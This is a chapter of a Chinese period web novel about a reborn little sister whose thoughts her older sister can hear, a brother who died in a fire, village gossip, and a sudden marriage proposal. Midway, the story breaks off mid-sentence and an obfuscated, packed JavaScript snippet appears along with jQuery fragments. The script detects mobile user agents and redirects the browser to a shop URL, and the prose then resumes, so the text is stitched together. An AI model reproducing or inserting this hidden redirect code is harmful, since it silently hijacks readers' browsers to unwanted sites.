“姐...”
床上的柳青缓缓睁开眼，声音虚弱得像一根线。
柳皖手忙脚乱地打翻了水杯：“闺女！来，喝点汤，你姐刚熬的...”
“姐！”柳青眼神紧紧锁定病床边的人，一下坐起，双手张开环抱住柳早，整个埋进去，半晌又弱弱开口，“爸，我头好痛。”
【不要嫁人，不要去海岛】
“没事，我们慢慢躺下来。”
柳早浑身一僵，柳皖和沈钧安对此毫无反应，到现在为止才确定下来，只有她能听见柳青的心声，放低声音安慰道，“饿了没，我刚炖好的鸡汤，你馋好几个月了。”
【嘶，我的头...我...我回到八岁那年了？姐还没嫁人，爸也没生病，爷爷的方子还没被骗走，我被方铁蛋推进水库摔了脑袋的那年！是不是老天看不过去上辈子我们一家过得这么惨，让我再来一次】
柳早的呼吸停了一瞬。
上辈子？
她妹现在才八岁，哪来的上辈子？
柳青整个人压在她身上，声音闷闷的，“姐，我好想你。”
柳早压下翻涌的心绪，放低声音：“我也想你。”
腰上的手始终没有松开，紧紧禁锢住她的活动，柳早看向柳皖：“可惜我一上午炖的鸡汤，要是有人不喝——叔，你来喝。”
柳青的手立刻松了。
柳早忍着笑，盛出一碗汤，转头看向沈钧安：“沈同志，也谢谢你，尝尝我的手艺。”
“谢谢。”沈钧安看看怒目而视的柳青，抬手一饮而尽。
【沈同志？好耳熟，在哪里听过...】
“姐，啊——”
柳青躺回床铺，双手乖巧地交叠在腹部，张开嘴，睫毛扑闪。
“刚还能抱我，现在胳膊抬不起来了？”柳早小心地盛出碗热乎的鸡汤，睫毛撒下阴影，轻吹两下，喂到嘴里。
柳青抿一小口，舌尖微微刺痛，慢悠悠从口腔里飘出一股鲜味，从喉咙暖到胃，像井水沁人心脾，只半碗，苍白的脸增添几分血色。
柳皖手捂住嘴，不住颤抖，眼眶湿润，盯着女儿，舍不得挪开。
“爸，这个哥哥是哪里来的啊？”柳青疑惑，露出漏风的门牙。
“沈钧安，是你哥的班长。”
【沈钧安？那个通讯兵？不对，人后头听说升到营长还没结婚，一个人住那么大个房子，工资还不少...哥为了救他牺牲，姐也不乐意嫁】
“我哥？人在哪呢，咋不来看我？”柳青有些疑惑，柳刚在她三岁那年离家，根本没有这个哥哥的记忆。
两道声音交错在一起，柳早敏锐地抓住其中的重点。
“他牺牲了”，沈钧安从口袋里摸出三颗奶糖，放到沮丧的柳青手里，从果篮里拿出个红通通的苹果，丝滑地用小刀削皮切块，缓缓说道，“他希望你们能过上好日子，医药费已经交过，不用担心，是我欠柳刚的。”
“麻烦沈同志了。”柳皖终于从悲伤的氛围中脱离，没能把苹果抢过来，不由自主地把眼神倾斜，看向柳早。
柳青含着奶糖，牙齿和头隐隐作痛。
【上辈子姐嫁给李建军，结果人一声不吭地跑海岛去，姐等了八九年才随军，杨德华又没工作，工资还不够一家人用的，还得姐另外找活做】
柳早垂下眼，八九年、随军、杨德华、李建军，这些词串在一起，指向一个她不敢想的答案。
“姐，”柳青忽然拽住她的袖子，可怜巴巴地问，“我好像听到你要嫁人？能不能多陪我几年？”
“等你好了再说。”柳早轻拍着妹妹的手，知道她的担心，话风一转，“你头是怎么回事？”
柳青咬了口沈钧安递来的苹果，含含糊糊地说：“他们...骗我去水库那边抓鱼......”
“谢谢沈同志”，柳早咽下嘴里的苹果，小心用指尖摸摸妹妹伤口旁的头发，“还记得有谁吗？”
柳青点点头说道：“记得，一辈子都记得。”
“方铁蛋领着那群比我大的小孩跟我一块过去的，路上肯定有人看见。”
【有上辈子欺负过咱家，姐嫁给李建军后变脸上门攀关系的；有传风言风语污蔑咱家，想拿到爷爷留的方子；还有那个天天跟在我屁股后头转悠，拿到东西就翻脸的】
柳早的手微微发抖，这些话，可不是一个八岁孩子能说出来的。
她看着妹妹那张稚嫩的脸，一个荒谬的念头冒出来。
柳青是不是真的活过一遍？
呼噜——
柳皖守了一夜，在折叠床上睡着，脚边一堆二手书，像个流浪汉。
柳早往他嘴里塞块苹果，他吧唧两下嘴，翻个身。
柳青也撑不住了，眼皮打架，很快睡去。
病房安静下来。
“柳同志，我可以帮忙。”沈钧安靠着椅背，双手自然地放在双腿上。
窗格将慵懒的阳光切成亮一块暗一块的格子，徐徐的风把药味冲淡，两人相隔一米坐在楼道温热掉漆的长椅上。
偶尔从病房里挤出几声闷闷的咳嗽，远处急促地布鞋走过，哗啦哗啦，搪瓷缸砸在地面轻响。
“我哥是怎么牺牲的？”辫子垂下挡住柳早的脸。
沈钧安迟疑片刻，从随身的口袋里拿出一份报纸，递出，“因为我。”
柳早侧目，看到那泛白的手指在空中微微颤动，接过报纸，一则有关火灾的报道在首页。
详细读下去，新年期间军团在大礼堂聚会看电影，天气寒冷，调皮的孩子点燃鞭炮，引发火灾，门窗被封，仅有一扇能过人的小门，烟雾、火焰，大多数人在火场中丧命，难得逃出来也多是受了烧伤。
“我哥...”
“柳刚在人群中把我和另一个女同志先推出去，救其他人了...”沈钧安的右手握住左手腕。
“他呢？”
“已经分辨不出来...埋在军团。”
大滴眼泪砸在水泥地上，晕开一片。
“我欠柳刚一条命。”沈钧安递过自己的手帕，识趣地离开位置。
阳光炽热，地上留下白色的痕迹。
柳早攥着那张报纸，指节泛白。
【沈钧安...后来升到营长还没结婚，一个人住那么大房子，工资不少......】
柳青的话在她脑子里回响。
如果...如果柳青说的是真的，如果她真的活过一遍，那沈钧安后来会升到营长，会一个人住大房子，会一直没结婚。
而她，如果嫁给李建军，要等八九年才能随军，要自己找活干养家，要受杨德华的气。
柳早闭上眼，她嫁李家不就图的能改成分，找工作。
一个八岁孩子说的话，能信吗？
可柳青说出“上辈子”三个字时的语气，不像在撒谎。
她深吸一口气，把报纸叠好，塞进口袋。
不管信不信，她都得弄清楚。
—
农忙开始了。
柳早躬身割麦，颈间的汗巾重重垂落，她两手攥住麦穗，左手的麦穗一端扭结变长放在地上，右手的镰刀切断茎秆后又揽过更多的麦穗，攒够就合围挽住，不多时，又扎好一捆。
高考结束，田间地头多好些同龄人，只不过都离她远远的。
水稻正在抽穗扬花的尾声，垂着头，但粒儿还是瘪的，里面灌的是浆，不是米，远远看去，一片黄绿色，太阳晒着的时候，泛出一点点金光，作为小麦的接替者。
隔壁地里的麦子已经收完，柳皖高高举起的锄头砸到土壤里，刨去麦茬，留下光秃秃的黑土地。
苞米秆子还立着，一人多高，密得走不进去，秆子底部的老叶子边缘焦黄，打着卷，苞米棒子还裹得严严实实的，外包的皮子还是青的，但能看出来鼓起来了，胀得紧紧的。
呼——
休息的哨子声响起，柳早找了个阴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407065|200571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凉处休息，一手拿苞米啃，另一手的草帽上下起伏，扇出热风。
不远处的树下，婶子们的嘴终于有空闲。
“你们看见柳家那闺女没？头上绕好几圈，听说摔个大窟窿，好多事都不记得。”
“这要再拖上个傻子拖油瓶，日子难过咯。”
“医药费都拿不出来，不知道是怎么凑上的。”
“悬，柳家下放来的，再说大队长外甥也在，还能拿到派出所去说？”
“那可说不准，我上回瞅见好些人去医院看柳青，年纪轻轻，作风一点不行。”
“霍，还是人长得水灵，都不挑。”
柳早啃完最后一根苞米，双手撑在地上，闭上双眼感受阳光，再次睁开双眼，“婶子是看见还是听见？我跟谁处对象？有本事到大队长面前说去，乱传谣言也能抓进去的，不说话当我好脾气！”
“本来的事，苍蝇不叮无缝的蛋。”
“那我还听见你跟陈大婶子说大队长跟公社里...”
“诶诶诶！”
那婶子一个弹射起步，想冲到她面前捂嘴。
柳早躲开，冷冷地看向人，食指轻碰嘴唇，“婶子不瞎说，我也不瞎说。”
剩下的时间里，这些婶子终于停嘴，防备又探究地看着她，投入沉重的农忙。
忙碌一直持续到八月初，小麦收进粮站，柳早终于能抽空和一个大队的毕业生坐上牛车去拿毕业证，摸摸袖子里藏的，柳皖临出门前塞的钱，揣着心事。
“铁柱，你报的哪个专业？”
“轨道交通，我以后坐着火车看遍大好河山。”
“我报的服设，以后自己做衣服穿。”
“臭丫，尽臭美了，哈哈哈哈...”
车上的欢笑声飘得很远，远到邻村的同学都听到，又飘得很近，近到柳早根本插不进去。
这会白天还热，早晚已经凉下来，路旁草叶上是细密的水珠，到学校，衣服上的潮气散去，知了的叫声在空气中回荡。
柳早刚进教室，原本围坐着说话的几个同学突然安静下来，走到靠墙最后一排的座位上坐下，教室恢复原本的热闹，偶尔飘过来几个字，听不清，只感受到若有若无的视线，似有似无的笑声。
“都来了？”穿着的确良衬衫的班主任站在讲台，对着名册仔细数着人，“人到齐，我们也不耽搁，大家把自己的毕业证领下去，后头通知书下来考上大学的记得到派出所和粮站转关系，希望大家都能找到个好工作。”
今年的高考与高中毕业时间接近，只要参加了高考，就能拿到毕业证。
柳早拿到自己的那份毕业证，薄薄的一本，没要全班的黑白毕业照。
大家拿到照片找到自己，找到好友，说说笑笑。
“柳早，你等会儿。”
“好的，王老师。”
又是那样若有若无的打量，直让人不舒服。
柳早看着王老师关心的眼神也说不出话，点点头感谢完老师，目不斜视地将一群人甩在脑后。
上供销社买半斤桃酥，还是纺织厂的职工宿舍，还是那群聊天的婶子。
“闺女，又来找他们家啊？”
柳早本想让那个好心婶子帮忙把东西送去，来不及开口，背后楼梯传来一阵儿说话声。
“还惦记呢？”杨德华的声音很有辨识度。
“那闺女除了手艺好点，看来看去没一处配得上你的，你说她爷有没有留什么值钱东西？”
“妈...”
“长得好看能当饭吃啊？我年轻时候还一枝花呢！于婶子聊啥呢？”杨德华身侧突然跑过一个人影，定睛一看——是柳早。
李建军两眼一亮，伸手招呼人，“柳同志！”
“柳同志。”沈钧安打开门。
一袋桃酥递到眼前，柳早大喘气，话几乎是从嗓子里挤出来的，“沈同志...你探亲假还有几天，什么时候...能打结婚证明？”